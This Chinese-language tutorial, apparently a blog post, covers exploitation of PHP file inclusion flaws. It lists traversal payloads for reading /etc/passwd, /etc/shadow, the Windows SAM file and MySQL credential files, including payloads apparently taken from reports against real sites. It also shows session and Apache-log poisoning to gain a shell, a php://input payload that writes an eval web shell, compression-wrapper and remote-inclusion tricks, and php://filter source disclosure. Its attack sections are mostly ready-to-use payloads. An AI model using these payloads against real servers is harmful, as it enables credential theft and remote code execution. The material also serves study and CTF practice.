文件包含漏洞利用技术总结

开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL 对象文件等。

PHP版本<=5.2 可以使用%00进行截断。(能截断的php版本都小于5.3)

漏洞挖掘payload

Linux**:**

.../.../.../.../.../.../.../.../etc/passwd // 账户信息

etc/passwd%00

...//...//etc/passwd

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/etc/issue

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/self/environ

/proc/version

/proc/cmdline

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

乌云****payload

.../.../.../.../.../.../.../.../.../.../etc/passwd

.../.../.../.../.../.../.../.../.../.../home/img/odp/log/access_log

./.../.../.../.../.../.../.../.../etc/passwd%00

.../.../ierp/bin/prop.xml

http://red.xunlei.com/index.php?id=.../test.php\&r=site/news

pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml

http://. ..//index.php?index=a&skin=&dataoptimize_html=/.../.../.../favicon.ico

...%2FWEB-INF%2Fweb.xml

.../WEB-INF/mvc-servlet.xml

本地包含

包含同目录下的文件

?file=test.txt

目录遍历

?file=./.../.../test.txt

包含图片马

先上传jpg图片木马,然后本地文件包含,如以下案例:

Session文件包含

前提:

1.seesion存储的位置

2.sesion内容可控

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

假设漏洞代码如下所示:
<?php session_start(); $ctfs= $_GET['ctfs']; _SESSION\['username'\]=ctfs; ?>

可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 将php语句写入session中

http://127.0.0.1/test.php?filename=C:\\phpStudy\\PHPTutorial\\tmp\\tmp\\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session 文件session文件名 **(真正的文件名默认都有个前缀就是sess_)**

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/*<?php eval([$_POST]);?>*则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

php://input(写入木马)

前提:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

zip://, bzip2://, zlib://

协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

思路:(也是上传之后包含文件)

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

远程文件包含

远程文件包含的时候一句话木马后缀不能为php。

需要开启allow_url_include = On

http://127.0.0.1/test.php?filename=http://公网IP/muma.txt

伪协议

Ctf常用

?action=php://filter/read=convert.base64-encode/resource=login.php (Base64加密)

相关推荐
ccc_9wy14 分钟前
暗月红队考核靶场ack123的测试报告[细节](二)
网络安全·暗月ack123·socks5内网代理·mssql漏洞·杀软对抗·制作免杀木马·烂土豆提权
网安-轩逸2 小时前
网络安全核心目标CIA
安全·web安全
无泡汽水7 小时前
漏洞检测工具:Swagger UI敏感信息泄露
python·web安全
WTT001113 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
蜜獾云16 小时前
linux firewalld 命令详解
linux·运维·服务器·网络·windows·网络安全·firewalld
黑客Jack16 小时前
防御 XSS 的七条原则
安全·web安全·xss
东方隐侠安全团队-千里17 小时前
网安瞭望台第17期:Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析
网络·chrome·web安全
Mitch31119 小时前
【漏洞复现】CVE-2021-45788 SQL Injection
sql·web安全·docker·prometheus·metersphere
网络安全King19 小时前
网络安全 - SQL Injection
sql·web安全·php
m0_7482370521 小时前
2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
前端·安全·web安全